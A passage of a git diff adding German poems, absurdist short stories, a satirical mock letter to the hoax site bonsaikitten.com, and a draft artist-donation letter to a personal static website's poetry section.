Luft zu jagen, diese jedoch Geld & Plutonium dafür verlangen & das Wochenbudget von Paula ausgeschöpft bzw. ihre Coupons längst verbraucht sind, versprach sie, jetzt vernünftig zu sein, auf die Schiene zurückzukehren & durch Überschreiten der Höchstgeschwindigkeit den Fahrplan wieder einzuhalten. Ich bekomme langsam Mitleid & wieder einen präteritativen Schreibstil, jedoch waren die voreingestellten 5 Minuten bereits um & noch bevor ich die timbuktische Nationalhymne zum Entschärfen der Gravitonenbombe hätte zu ende pfeifen können, flogen mir die Memoiren einer E- Lok namens Paula um die Ohren. | ||
12 | |||
13 | Ich überflog sie rasch, anscheinend hatte Paula mir, zumindest der letzten Eintragung nach, bereits vergeben & ich fand endlich den Grund für ihre Traurigkeit. Der innige Körperkontakt mit anderen Lokomotiven, den Paula brauchte, hätte bei den für sie typischen Geschwindigkeiten verheerende Folgen gehabt & war ihr deswegen verboten worden, so steigerte sich ihre Depression von Tag zu Tag & gerade heute wurde es ihr zuviel & eigentlich hatte sie bis zum Zeitpunkt meiner Intervention vor, das Lokomotivmuseum in Klein Aaknach zu besuchen, in das sie nun, aufgrund meiner Bemühungen gebracht wurde, in Einzelteilen, natürlich... Den Schornstein dürfte ich als Andenken behalten... wenn es eine Dampflok gewesen wäre. Er schmückte dann heute den Tisch meines Verteidigungsministers. | ||
14 | |||
15 | Aber so... | ||
16 | |||
17 | Karl G. | ||
diff --git a/stories/poetry/fdp.md b/stories/poetry/fdp.md new file mode 100644 index 0000000..8284527 --- /dev/null +++ b/stories/poetry/fdp.md | |||
@@ -0,0 +1,60 @@ | |||
1 | <!-- | ||
2 | .. title: F.D.P. | ||
3 | .. date: 2002/06/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Dear http://www.bonsaikitten.com/ staff,:: | ||
8 | |||
9 | I am speaking for a larger german party called | ||
10 | F.D.P. ( the Free Liberal Party: | ||
11 | http://www.fdp.de/ ) As you might know, on | ||
12 | September, 22nd the next election for the | ||
13 | German Bundestag will take place and we | ||
14 | currently are preparing our election campaign. | ||
15 | As providing giveaways for interested voters | ||
16 | always is a good idea, we consider ordering a | ||
17 | larger quantity of kittens. | ||
18 | |||
19 | Now there are some questions left about this | ||
20 | strategy: | ||
21 | * Is it possible to form a single kitten into | ||
22 | our F.D.P. shape, or will we have to order | ||
23 | a set of 3 kittens each for a single letter? | ||
24 | * Is it possible to colorize the kittens in | ||
25 | our party logo colors blue and yellow? Maybe | ||
26 | the space between each letters and its dots | ||
27 | in blue and the remaining space yellow? | ||
28 | * if we order, say 100.000 kittens, will you | ||
29 | offer a discount? | ||
30 | * is it possible to order these kittens on a | ||
31 | commission base? That's because if we don't | ||
32 | get enough votes in the election, we may not | ||
33 | be able to pay all the kittens. Maybe you | ||
34 | shape/form 50.000 pieces "just a bit" so | ||
35 | you can reinflate them when we send them | ||
36 | back? | ||
37 | * As we currently have some problems | ||
38 | concerning accuses of antisemitism we want | ||
39 | to be sure not to let jewish cats be put into | ||
40 | glasses, as this might result in bad press | ||
41 | of the kind "F.D.P. imprisons jewish kittens". | ||
42 | Could you please verify that each of these | ||
43 | kittens is not pruned? | ||
44 | * Of course it would be necessary to have those | ||
45 | pets as soon as possible, how long would | ||
46 | it take until the shaping is perfect? May we | ||
47 | suggest giving HGH to accelerate the growth? | ||
48 | |||
49 | If you can fulfil our needs we even may think | ||
50 | about ordering a special "parachute edition" | ||
51 | which could be dropped at campaign events. | ||
52 | |||
53 | And: if your support leads us to government, we | ||
54 | will pass a law, forcing every school to have | ||
55 | at least one kitten for biology classes. | ||
56 | |||
57 | Yours sincerely | ||
58 | |||
59 | Martin Matz | ||
60 | chairmember of F.D.P. | ||
diff --git a/stories/poetry/feindkontakt.md b/stories/poetry/feindkontakt.md new file mode 100644 index 0000000..8d73834 --- /dev/null +++ b/stories/poetry/feindkontakt.md | |||
@@ -0,0 +1,47 @@ | |||
1 | <!-- | ||
2 | .. title: Feindkontakt | ||
3 | .. date: 2001/08/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Es ist wieder Zeit, nachzudenken.<br/> | ||
8 | Das Leben breitet sich vor dir<br/> | ||
9 | aus wie unbekanntes Feindesland.<br/> | ||
10 | Und sie wollen von dir, dass du,<br/> | ||
11 | ohne Plan und nahezu unbewaffnet<br/> | ||
12 | und schlecht ausgebildet<br/> | ||
13 | deinen Kopf behaeltst und nicht<br/> | ||
14 | aus Versehen den Falschen triffst<br/> | ||
15 | und den Deinen Schande bereitest.<br/> | ||
16 | Und noch waehrend du dir deine<br/> | ||
17 | Strategie zurecht legst<br/> | ||
18 | und aus deiner Deckung kriechst,<br/> | ||
19 | fuehlst du, dass es fuer dich hier<br/> | ||
20 | und jetzt vorbei ist.<br/> | ||
21 | Dass es an der Zeit ist, endlich<br/> | ||
22 | das Kommando zu uebernehmen und<br/> | ||
23 | die gottverdammte Verantwortung.<br/> | ||
24 | Dass es Zeit wird, aufrecht zu<br/> | ||
25 | gehen, auch wenn du dabei Gefahr<br/> | ||
26 | laeufst, dir den Kopf zu stossen.<br/> | ||
27 | Und dass du merkst, dass dies kein<br/> | ||
28 | Grund ist, auf dich stolz zu sein<br/> | ||
29 | sondern dass du dich beschaemt und<br/> | ||
30 | enttaeuscht fuehlen muesstest,<br/> | ||
31 | dass du selbst und die meisten<br/> | ||
32 | um dich herum gekrochen sind.<br/> | ||
33 | Und es ist an der Zeit, dass du<br/> | ||
34 | endlich erkennen und im Stehen<br/> | ||
35 | keine Fronten sehen wirst,<br/> | ||
36 | von denen sie erzaehlt haben, dass<br/> | ||
37 | sie sich direkt vor dir befinden.<br/> | ||
38 | Und ja! Schrei es hinaus und<br/> | ||
39 | tanze und springe durch dieses<br/> | ||
40 | ... Vaterland.<br/> | ||
41 | Und wenn dich alle anderen<br/> | ||
42 | ausgelacht haben, dann leg dich<br/> | ||
43 | ruhig wieder hin.<br/> | ||
44 | Denn du hast ja bewiesen, dass<br/> | ||
45 | du nachgedacht hast und die<br/> | ||
46 | Ketten von dir geworfen.<br/> | ||
47 | Aber taeglich?<br/> | ||
diff --git a/stories/poetry/freiheit.md b/stories/poetry/freiheit.md new file mode 100644 index 0000000..f6d8997 --- /dev/null +++ b/stories/poetry/freiheit.md | |||
@@ -0,0 +1,21 @@ | |||
1 | <!-- | ||
2 | .. title: (erdgeist III) Freiheit | ||
3 | .. date: 2002/12/03 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Freiheit der Seele<br/> | ||
8 | ist eine Illusion.<br/> | ||
9 | Und gerade, weil mich seit<br/> | ||
10 | Jahrhunderten umtreibt,<br/> | ||
11 | was der Wille nicht zu<br/> | ||
12 | verhindern mochte<br/> | ||
13 | und ich Seelen, Geister,<br/> | ||
14 | ach so freie Gestalten<br/> | ||
15 | einfing, wie die Sonne<br/> | ||
16 | die Erde und die Erde<br/> | ||
17 | den Mond.<br/> | ||
18 | Gerade deswegen weiss ich,<br/> | ||
19 | dass auch du allzu gern<br/> | ||
20 | Geborgenheit gegen Freiheit<br/> | ||
21 | eintauschen wirst. | ||
diff --git a/stories/poetry/fruehlingsgewitter.md b/stories/poetry/fruehlingsgewitter.md new file mode 100644 index 0000000..90941d1 --- /dev/null +++ b/stories/poetry/fruehlingsgewitter.md | |||
@@ -0,0 +1,30 @@ | |||
1 | <!-- | ||
2 | .. title: Frühlingsgewitter | ||
3 | .. date: 2002/05/02 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Wenn das Grau der Stadt sich mischt<br/> | ||
8 | mit dem schweren Dunkel des Regens,<br/> | ||
9 | der sich langsam ueber uns legt,<br/> | ||
10 | wie eine alte staubige Gardine,<br/> | ||
11 | und uns einfaengt, wie zerfetzte<br/> | ||
12 | Weben einer unsichtbaren Spinne.<br/> | ||
13 | Wenn zur Last der durchnaessten<br/> | ||
14 | Kleider auf den Leib<br/> | ||
15 | noch der Himmel eine unertraegliche<br/> | ||
16 | Schwere auf die Seele legt.<br/> | ||
17 | Wenn der stete Wind, der die<br/> | ||
18 | Tropfen auf der Haut trocknet,<br/> | ||
19 | mich noch mehr froesteln laesst,<br/> | ||
20 | als der Wiederhall des Wetters<br/> | ||
21 | aus der Ferne, der sich mischt mit<br/> | ||
22 | dem bedrohlichen Zucken des Lichts.<br/> | ||
23 | Und wenn es sich spiegelt,<br/> | ||
24 | in deinen Augen, deren Gegenwart<br/> | ||
25 | deine blasse Haut unmerklich<br/> | ||
26 | in der Tiefe des Aprils verlieren<br/> | ||
27 | und mich traeumen laesst.<br/> | ||
28 | Dann sind genau diese Augen der Ort,<br/> | ||
29 | an dem ich Klarheit finde<br/> | ||
30 | und Waerme und Farbe.<br/> | ||
diff --git a/stories/poetry/geaendert.md b/stories/poetry/geaendert.md new file mode 100644 index 0000000..9486799 --- /dev/null +++ b/stories/poetry/geaendert.md | |||
@@ -0,0 +1,18 @@ | |||
1 | <!-- | ||
2 | .. title: Geändert | ||
3 | .. date: 2001/07/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Dinge aendern sich.<br/> | ||
8 | Wo in der Erinnerung noch Monumente<br/> | ||
9 | neben laengst verdraengtem<br/> | ||
10 | prachtvoll sich erheben,<br/> | ||
11 | wo aus schoengefaerbter Vergangenheit<br/> | ||
12 | Trugbilder gluecklicher Stunden<br/> | ||
13 | auftauchen und den Verstand vernebeln,<br/> | ||
14 | wo der fade Nachgeschmack des<br/> | ||
15 | wohl selbstverschuldeten Endes<br/> | ||
16 | an sich selber zweifeln laesst,<br/> | ||
17 | wo einst Frohsinn regierte und Liebe,<br/> | ||
18 | haben sich die Dinge halt geaendert.<br/> | ||
diff --git a/stories/poetry/gefangen.md b/stories/poetry/gefangen.md new file mode 100644 index 0000000..eb397c9 --- /dev/null +++ b/stories/poetry/gefangen.md | |||
@@ -0,0 +1,17 @@ | |||
1 | <!-- | ||
2 | .. title: Gefangen | ||
3 | .. date: 2010/08/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Jetzt hast Du mich<br/> | ||
8 | Eingefangen und läßt<br/> | ||
9 | Mich nicht mehr los<br/> | ||
10 | Und es bleibt das Gefühl<br/> | ||
11 | Als trüge ich nun<br/> | ||
12 | Den mir in diesem kurzen Moment<br/> | ||
13 | Des Berührens angelegten Ring<br/> | ||
14 | um Herz, Verstand, Bein und Hand<br/> | ||
15 | Und wenn ich aufsteige und fliege<br/> | ||
16 | Und ankomme sieht man mir doch<br/> | ||
17 | Noch das Treffen an, mit Dir. | ||
diff --git a/stories/poetry/gefunden.md b/stories/poetry/gefunden.md new file mode 100644 index 0000000..05d6483 --- /dev/null +++ b/stories/poetry/gefunden.md | |||
@@ -0,0 +1,19 @@ | |||
1 | <!-- | ||
2 | .. title: Gefunden | ||
3 | .. date: 2003/09/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Endlich!, wuerde ich sagen.<br/> | ||
8 | Doch nachdem<br/> | ||
9 | zu ungenau ich gezaehlt,<br/> | ||
10 | zu sorglos ich mich versteckt,<br/> | ||
11 | zu unachtsam ich geschmult,<br/> | ||
12 | zu heftig ich geatmet,<br/> | ||
13 | zu zaghaft ich gesucht und<br/> | ||
14 | zu offensichtlich ich mich<br/> | ||
15 | zu erkennen gegebene habe,<br/> | ||
16 | nach einem fluechtigen Blick<br/> | ||
17 | geht das Spiel einfach<br/> | ||
18 | in die naechste Runde.<br/> | ||
19 | Du bist dran. | ||
diff --git a/stories/poetry/grau.md b/stories/poetry/grau.md new file mode 100644 index 0000000..0d096de --- /dev/null +++ b/stories/poetry/grau.md | |||
@@ -0,0 +1,26 @@ | |||
1 | <!-- | ||
2 | .. title: Grau | ||
3 | .. date: 2003/05/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Die grauen Maenner kommen<br/> | ||
8 | an den hellen Tagen nur.<br/> | ||
9 | Und bewaffnet mit nichts als den<br/> | ||
10 | verlorenen Illusionen allein,<br/> | ||
11 | kleingehackt und aufbereitet<br/> | ||
12 | in schoene und als unerreichbar<br/> | ||
13 | deklarierte Traeume,<br/> | ||
14 | sehnsuchtsvoll all den Momenten<br/> | ||
15 | hinterhertrauernd, in denen<br/> | ||
16 | man sie, Stueck um Stueck,<br/> | ||
17 | verloren hat und geschlagen<br/> | ||
18 | mit einer Wut, die so hilflos<br/> | ||
19 | und aengstlich wirkt gegen den<br/> | ||
20 | von der Leine gelassenen, alles<br/> | ||
21 | bedrohenden Schweinehund,<br/> | ||
22 | mit diesen laecherlichen Fetzen<br/> | ||
23 | also, Ideen eines anderen Jetzt,<br/> | ||
24 | zahlt man den grauen Maennern,<br/> | ||
25 | wie ueblich, ihren Zoll. | ||
26 | |||
diff --git a/stories/poetry/grossejungs.md b/stories/poetry/grossejungs.md new file mode 100644 index 0000000..60466a7 --- /dev/null +++ b/stories/poetry/grossejungs.md | |||
@@ -0,0 +1,23 @@ | |||
1 | <!-- | ||
2 | .. title: Große Jungs | ||
3 | .. date: 2003/10/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Die Augen sind nicht kleiner geworden,<br/> | ||
8 | ueber die Jahre und haben nichts<br/> | ||
9 | von ihrem Glaenzen verloren.<br/> | ||
10 | Nein. Noch immer stolpern wir ohne<br/> | ||
11 | nachzudenken jedem Spielzeug hinterher.<br/> | ||
12 | <br/> | ||
13 | Die Jungs sind nicht weiser geworden,<br/> | ||
14 | denn waehrend die Seifenkisten und<br/> | ||
15 | Plasteautos den Echten wichen,<br/> | ||
16 | mussten echte lebendige Maedels<br/> | ||
17 | den geseiften Plastefrauen Platz machen.<br/> | ||
18 | <br/> | ||
19 | Die Welt ist um nichts besser geworden,<br/> | ||
20 | man liebt sich und betruegt sich,<br/> | ||
21 | und am Ende spielen doch,<br/> | ||
22 | wie seit Generationen die Vaeter,<br/> | ||
23 | immer wieder nur die Jungs mit den Jungs.<br/> | ||
diff --git a/stories/poetry/header b/stories/poetry/header new file mode 100644 index 0000000..2e2c4af --- /dev/null +++ b/stories/poetry/header | |||
@@ -0,0 +1,4 @@ | |||
1 | <!-- | ||
2 | .. title: | ||
3 | .. tags: poetry | ||
4 | --> | ||
diff --git a/stories/poetry/im_sog.md b/stories/poetry/im_sog.md new file mode 100644 index 0000000..a26b0de --- /dev/null +++ b/stories/poetry/im_sog.md | |||
@@ -0,0 +1,20 @@ | |||
1 | <!-- | ||
2 | .. title: Im Sog | ||
3 | .. date: 2005/01/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Wenn der letzte Halt genommen,<br/> | ||
8 | Respekt, Ehre, Treue und Liebe<br/> | ||
9 | verfallen sind.<br/> | ||
10 | |||
11 | Dann bleibt nur die Wollust,<br/> | ||
12 | das Triebhafte hinab in den Strudel<br/> | ||
13 | des unreflektierten Hedonismus.<br/> | ||
14 | |||
15 | Ein ewiges Stuerzen in den Schlund<br/> | ||
16 | des Zwanghaften, aufgerieben<br/> | ||
17 | an den letzten standhaften Vorspruengen,<br/> | ||
18 | die das Anstaendige<br/> | ||
19 | in die glitschigen Waende<br/> | ||
20 | der Verdammnis gerammt hat. | ||
diff --git a/stories/poetry/index.rst b/stories/poetry/index.rst new file mode 100644 index 0000000..8c3c125 --- /dev/null +++ b/stories/poetry/index.rst | |||
@@ -0,0 +1,13 @@ | |||
1 | .. link: | ||
2 | .. description: erdgeist schreibt | ||
3 | .. tags: | ||
4 | .. date: 1970/01/01 01:00:00 | ||
5 | .. title: poetry | ||
6 | .. slug: index | ||
7 | .. hidetitle: | ||
8 | |||
9 | .. post-list:: | ||
10 | :all: | ||
11 | :tags: poetry | ||
12 | :template: list_poetry.tmpl | ||
13 | :id: poetry | ||
diff --git a/stories/poetry/kuenstler b/stories/poetry/kuenstler new file mode 100644 index 0000000..901a348 --- /dev/null +++ b/stories/poetry/kuenstler | |||
@@ -0,0 +1,30 @@ | |||
1 | Lieber [...Kuenstler...], | ||
2 | |||
3 | die Realitaeten unter den Medienkonsumenten haben sich in Richtung | ||
4 | eines Zustands verschoben, in der staendig (fast) alle Werke online | ||
5 | zur Verfuegung stehen. | ||
6 | Wenn man die Werke mag, die man sich nun kostenlos besorgen kann, | ||
7 | hat man leider bisher keine Moeglichkeit, den Kreativen finanzielle | ||
8 | Wertschaetzung zu erweisen, ohne die gesamte Verwertungsindustrie | ||
9 | bestehend aus Einzel- und Grosshandel, Ton/datentraegerproduzenten, | ||
10 | Rechteverwaltern und Marketing zu alimentieren. | ||
11 | Deswegen hat [...] ein Treuhandkonto eingerichtet, auf das jeder, | ||
12 | der meint, einen Kuenstler seiner Wahl finanziell unterstuetzen zu | ||
13 | wollen und damit auch unabhaengiger zu machen, einen ihm genehmen | ||
14 | Betrag einzuzahlen, der anonymisiert sofort weitergereicht wird. | ||
15 | Damit kauft man sich natuerlich auf juristischer Ebene nicht frei, | ||
16 | vielleicht aber auf moralischer. Andererseits ist so eine Spende | ||
17 | lange kein Eingestaendnis, illegale Kopien der Werke zu besitzen, | ||
18 | das Unterstuetzen von Kuenstlern hat eine lange Tradition und | ||
19 | erstmals kann man problemlos seinen kleinen privaten Beitrag dazu | ||
20 | leisten. | ||
21 | Alles, was wir dazu brauchen, ist eine private Kontonummer | ||
22 | (Kollektiv/Band/Vereins-konto), auf die wir die Spende weiterreichen | ||
23 | koennen. Die Bankverbindung wird natuerlich nicht veroeffentlicht, | ||
24 | genausowenig wie die Kontokoordinaten der Spender. Spenden, die | ||
25 | unter das Geldwaeschegesetz fallen wuerden, werden zurueckgewiesen, | ||
26 | genauso wie solche, die keinem Kuenstler eindeutig zuzuordnen sind. | ||
27 | Unter [... www.bank.de/spenden ...] kann man alle Transaktionen | ||
28 | nachvollziehen. | ||
29 | |||
30 | Weitere Informationen finden sich unter [... www.dieguten.de ...] | ||
diff --git a/stories/poetry/lovers.md b/stories/poetry/lovers.md new file mode 100644 index 0000000..92a7989 --- /dev/null +++ b/stories/poetry/lovers.md | |||
@@ -0,0 +1,15 @@ | |||
1 | <!-- | ||
2 | .. title: Lovers!? | ||
3 | .. date: 2000/11/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Dort unter den Weiden,<br/> | ||
8 | beide vom Neumondschatten verwoehnt,<br/> | ||
9 | Lautlosem Rascheln der Blaetter<br/> | ||
10 | in windstiller Nacht lauschend,<br/> | ||
11 | |||
12 | sucht er den Polarstern,<br/> | ||
13 | sie den kleinen Baeren,<br/> | ||
14 | und beide wuenschten sich,<br/> | ||
15 | die Wolken wuerden verschwinden. | ||
diff --git a/stories/poetry/madkarin.md b/stories/poetry/madkarin.md new file mode 100644 index 0000000..74e9fc9 --- /dev/null +++ b/stories/poetry/madkarin.md | |||
@@ -0,0 +1,35 @@ | |||
1 | <!-- | ||
2 | .. title: Mad Karin | ||
3 | .. date: 2002/04/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | "Schnauze, Schneewittchen", denk ich noch bei mir und will mich wieder umdrehen, "kann man denn nicht einmal in Ruhe ausschlafen?" Aber es will einfach nicht aufhoeren. Kopfkissen und Bettdecke helfen genau gar nichts und das T-Shirt laesst sich nicht so leicht um den Kopf wickeln. Ich taste muede nach der Fernbedienung, bade dabei meine Hand in Muesli, weiss nicht und alter Unterwaesche und der Powerknopf macht nur noch mehr Laerm an. Worueber sich Gretel nun massiv beschwert. "Grandioser Start in den Tag", finde ich und nehme mir vor, nicht mehr mit Pilzen zu experimentieren wobei sich "frisch machen" nach einem soliden Plan anhoert. | ||
8 | |||
9 | Ich schubse die beiden beiseite und gruesse kurz Haensel, der es sich zwischen den Geranien bequem gemacht hat. "Ich hab im Flur Pflanzen?", gruebel ich noch kurz, werde aber von Einstein unterbrochen, der vorm Klo hin- und herhopst und sich in den allerschoensten Rottoenen den Piephahn zudrueckt. "Der bloede Napoleon kackt schon seit 'ner Stunde", schimpft er. Eigentlich steht mir der Sinn im Moment nicht nach Streit mit Staatsoberhaeuptern, aber trotzdem bummer ich gegen die Tuer, teils aus latentem Ungerechtigsempfinden, teils, weil ich dort selbst Einlass begehre. Ein bellendes "Ruhe da, hier werden wichtige Geschaefte erledigt" korrigiert jedoch meinen Bedarf an Argumentationen nach unten. "Kueche reicht ooch", beschliesse ich feierlich, da ich mir eh nur frisches Wasser ins Gesicht stellen wollte. | ||
10 | |||
11 | "Japp" jauchze ich, "Entscheidungen am fruehen Morgen machen halt erst dann Laune, wenn man sie getroffen hat." Ein gewagter Trab entlang des Flurs verschafft mir eine komfortable Stellung neben der Spuele, von der aus ich Batman und Goethe, die sich lebhaft ueber Latexunterhosen streiten, prima ignorieren kann. Was mir leider mit der, anscheinend umgekehrt proportional zur Uhrzeit immer gehaessiger schrillenden Tuerbimmel nicht so leicht gelingt, die mich just beim Hahnaufdrehen eiskalt erwischt. "Schosbodphadammta", grunz ich und scchildkroete mich zur Tuer, die sich dann aber herrlich wutentbrannt aufreissen laesst. Postbotin. | ||
12 | |||
13 | "Unglaublich", stelle ich fest, "dass es so bestimmte Leute gibt, die man einfach dafuer hasst, dass sie ihrer alltaeglichen Beschaeftigung nachgehen." "Also bloss zu den falschen Zeiten natuerlich", relativiere ich mich. Aber eigentlich ist es wie mit Finanzbeamten, Politessen und dem Papst. Aber das ist ein anderes Thema. | ||
14 | |||
15 | "Hab ich ueberhaupt Shorts an?" durchzuckt es mich und ich versuche, so beilaeufig wie moeglich an mir herunterzulinsen, was meinem Antlitz einen gruendlichen Hauch von Debilitaet verleiht. Die Hausfriedensbrecherin zeigt sich von meinem Auftritt komplett unbeeindruckt, was ich zwar als Beleg fuer die rudimentaere Vollstaendigkeit meiner Bekleidung deuten kann, aber ein gewisses Mass Entruestung ueber meinen Aufzug habe ich schon erwartet. "Was gibts?" klaeffe ich in gerade erst erlerntem Tonfall, was mich zumindest kurzfristig wieder Herr der Lage werden laesst und die neugierigen Blicke meinen Korridor hinunter auf mich verlagert. "Paket fuer Sie", scheint sie sich wieder des Grunds der Stoerung zu entsinnen. | ||
16 | |||
17 | Beim schwungvollen Tuerzuwerfen klemmt ueberraschend ein Postbotinnenschuh zwischen Tuer, gestiefeltem Kater und Rahmen. Hat wohl wehgetan. "Is schlimm?" scheinheilige ich. Einigermassen gefasst in Anbetracht des geknautschten Gesichts sprudelt es ihr heraus: "Ist das da Einstein, der da gegen ihre Wand hoppst, ich wollte schon immer mal ein Autog..." Fuss draussen, Tuer zu. "Irgendetwas hab ich wohl vergessen", bemerk ich erstaunlich gewitzt fuer die Uhrzeit: Tuer auf, "ramm von dem, wissen sie ich hab ja scho", Paket aus der Hand gerissen, "n so viel gelesen von i...", Tuer zu, Ruhe. Zumindest, bis sie sich erinnert, wo die Klingel ausgeloest wird. Ich schau mich kurz um, ob bei Grimm auch beamtenfressende Ungeheuer vorkommen. Ich erinner mich nicht ganz genau, aber da auf ein wirklich lautes "Postbote, FASS!" genau gar nichts passiert, nehm ich eher "nein" an. Und ein zwischen Glocke und Kloeppel gestopftes Tempo hilft auch erstmal. | ||
18 | |||
19 | Das Paket fuehlt sich weich an. "Bitte lass es einfach ne Briefbombe sein", fleh ich, aber "Platiksprengstoffpaketbombe" hoert sich einfach nicht wie aus den Nachrichten an. Missmutig reiss ich das Papier herunter. Koteletts. | ||
20 | |||
21 | Ich versuch mich jetzt muehsam an den gestrigen Abend zu erinnern, finde aber, dass "an alles _nach_ dem Aufstehen erinnern" vollkommen reicht. Also bruell ich "wer hat hier Koteletts bestellt" durch die Wohnung, worauf der boese Wolf angesprungen kommt und es sich mit seinem frisch erbeuteten Fruehstueck in meiner Flugarderobe bequem macht. Auf meine fragenden Blicke schmatzt er bedeutsam zu Rotkaeppchen rueber: "Einstweilige Verfuegung, ich darf nicht naeher als 5 Meter an sie ran. Die hat jetzt n Anwalt." Damit loest sich meine gerade erst gewonnene Idee zur Dezimierung des Brieftraeger- und Maerchenfigurenbestands in Luft auf. "Macht nix", hoffe ich, verwerfe in Anbetracht des Riesen, der sich anschickt, den Wasserhahn leerzuschluerfen, noch schnell den Erfrischungsgedanken und schluerfe nun meinerseits zurueck. | ||
22 | |||
23 | Die Badtuer ist frisch eingetreten und im Inneren beeilen sich der liebe Gott und ein kleiner Eroberer, ihre Bloesse vor einem wuetenden Physiker zu verbergen. | ||
24 | |||
25 | "Klar!", glaub ich und "Bett". Darauf haben sich leider Unmengen an Unterlagen haeuslich eingerichtet, die wohl zu dem gegelten Anwalt gehoeren, der gerade Schneewittchen die Filmrechte abschwatzen will. Gretel ist immer noch dabei, auf die beiden einzureden, dass das mit den Brotkrumen wohl eindeutig ihr Patent sei und Haensel schlaeft. | ||
26 | |||
27 | Ein kurzer Blick verraet mir, dass in den Geranien kein Platz mehr ist. Wenn nicht schon laengst, verinnerliche ich mir, ist _jetzt_ der Moment zum endgueltig wach werden. Ist ja schliesslich auch nicht mehr zum auszuhalten, nicht war? Wird naemlich langsam mal Zeit, dass ich rausfinde, was hier los ist. Und bei dem ganzen Durcheinander ist es auch nicht leicht, nen sinnigen Plot zusammenzustricken. | ||
28 | |||
29 | Ich klatsch mir kurz gegen die Stirn: "na klar, ich mach einfach als auktorialer Erzaehler weiter." Haett ich auch frueher drauf kommen koennen. Ich reisse also - wissend - die Kammertuer auf und da steht, traurig und in sich versunken, Karin, die depressive Zeitmaschine. "Natuerlich"- faellts mir wieder ein, die hab ich gestern in ner Bar aufgegabelt, wo sie unter ihrem Makeup, und vielleicht dem Einfluss einiger Biere, aber noch bedeutend einladender ausgesehen hatte. | ||
30 | |||
31 | "Warst du das hier etwa" herrsche ich sie an, worauf sie schuldbewusst auf ihren Flux-Kompensator schielt. "Ja!" gibt sie kleinlaut zu, "Immer wenn ich verzweifelt bin, schiess ich Persoenlichkeiten aus der Weltgeschichte durch die Zeit, um wenigstens ein bisschen Spass zu haben". "Ich wollte dir keinen Kummer machen." Aber ich bin noch nicht zu frieden. "Du bist eine Zeitmaschine, Maerchenfiguren sind aber keine realen Gestalten, du kannst sie gar nicht hierherbefoerdern" hake ich nach. Daraufhin kann sie auch nur mit den Schultern zucken und meint, dass das dann wohl mein Problem sei. Ich bedeute ihr kurz, zu warten, waehrend ich Schneewittchen auf den Sachverhalt hinweise. Diese antwortet nur "Ist das so?" und mit einem Plopp, den man eigentlich nur aus Situationen irgendwelche Sanitaeranlagen betreffend, kennt, loest sie sich in Luft auf. Und ueberall, wohin ich auch gucke, die ganze Zauberwaldmeute nirvanat sich hinfort. | ||
32 | |||
33 | "Das war ja einfach" - gratulier ich mir, aber so ganz behagt mir nicht, dass der liebe Gott sich auf meiner Flur immernoch mit Napoleon vergnuegt. Ich pflaume da kurz zwischen, dass ich ja wohl Atheist sei und wech ist er. So langsam beginne ich Freude an dem Spiel zu entwickeln und ueberlege mir, wie ich das demnaechst mal gewinnbringend einsetzen sollte, werde aber von einem wuetenden Anwalt und einem sitzengelassenen Feldherren bedraengt. Auch Goethe langweilt sich wieder und will am liebsten nach Hause. Is mir aber herzlich egal. Soll Einsteins Memoiren schreiben. Vorher soll der mir aber noch meine Klotuer wieder einhaengen. Hebelgesetze beherrscht er, muss ich zumindest neidlos anerkennen. Finde aber in Anbetracht der Tatsache, dass sich inziwschen zwischen Dschingis Khan und Stalin ein Faustkampf um das Privileg des grausamsten Herrschers entzuendet hat, das Karin erstmal beruhigt werden muss. Zum Glueck hab ich noch nen Anwalt in meiner Plattensammlung stehen, den ich mit der Aussicht auf ein Freibier auf die bekloppte Zeitmaschine loslassen kann. | ||
34 | |||
35 | Keine Minute spaeter ist die Kammer leer. Ich ueberleg noch schnell, ob ich diese Strategie auch fuer spaetere Dates benutzen koennte, aber irgendwas stimmt immer noch nicht. Findet Che Guevara auch. Klaus, so heisst der Anwalt, huestelt zweimal kurz pikiert und schon ist Karin wieder da, entfernt die verbliebenen Fremdpolitiker aus meinem Zimmer und ist auch gleich schon wieder verschwunden. So ganz ehrlich interessiert mich nicht, wie er sie losgeworden ist, denn er steht noch da. Ich bruell noch hinterher "Und der Jurist!?", aber keine Spur von Karin. Klaus guckt mich nur hinterhaeltig an und meint, er vertraete jetzt meinen neuen Mitbewohner, wobei er hoeflich auf das Muesli zeigt, vorhin haben wir Wahlrecht beantragt, aber alles weitere koennen wir ja bei nem Bier besprechen. | ||
diff --git a/stories/poetry/milchstrasse.md b/stories/poetry/milchstrasse.md new file mode 100644 index 0000000..92a1ac1 --- /dev/null +++ b/stories/poetry/milchstrasse.md | |||
@@ -0,0 +1,17 @@ | |||
1 | <!-- | ||
2 | .. title: Milchstraße | ||
3 | .. date: 2007/05/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Des Nachts funkelt nun<br/> | ||
8 | Wie einst das Firmament<br/> | ||
9 | Nur noch der Horizont | ||
10 | |||
11 | Und jeder waermende Schein<br/> | ||
12 | Hier ein einsamer Traum<br/> | ||
13 | Fehlt dort oben | ||
14 | |||
15 | Es ist, als haetten<br/> | ||
16 | Das Feuer der Goetter wir<br/> | ||
17 | Gestohlen, nicht geliehen | ||
diff --git a/stories/poetry/missverstaendnis.md b/stories/poetry/missverstaendnis.md new file mode 100644 index 0000000..c42974a --- /dev/null +++ b/stories/poetry/missverstaendnis.md | |||
@@ -0,0 +1,27 @@ | |||
1 | <!-- | ||
2 | .. title: (erdgeist I) Mißverständnis | ||
3 | .. date: 2002/12/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Du missverstehst meine Motivation.<br/> | ||
8 | Wohl versteh ich die Freiheit. Voll und<br/> | ||
9 | ganz. Und ich geniesse sie. Und ich<br/> | ||
10 | geniesse deine Freiheit. Und ich will<br/> | ||
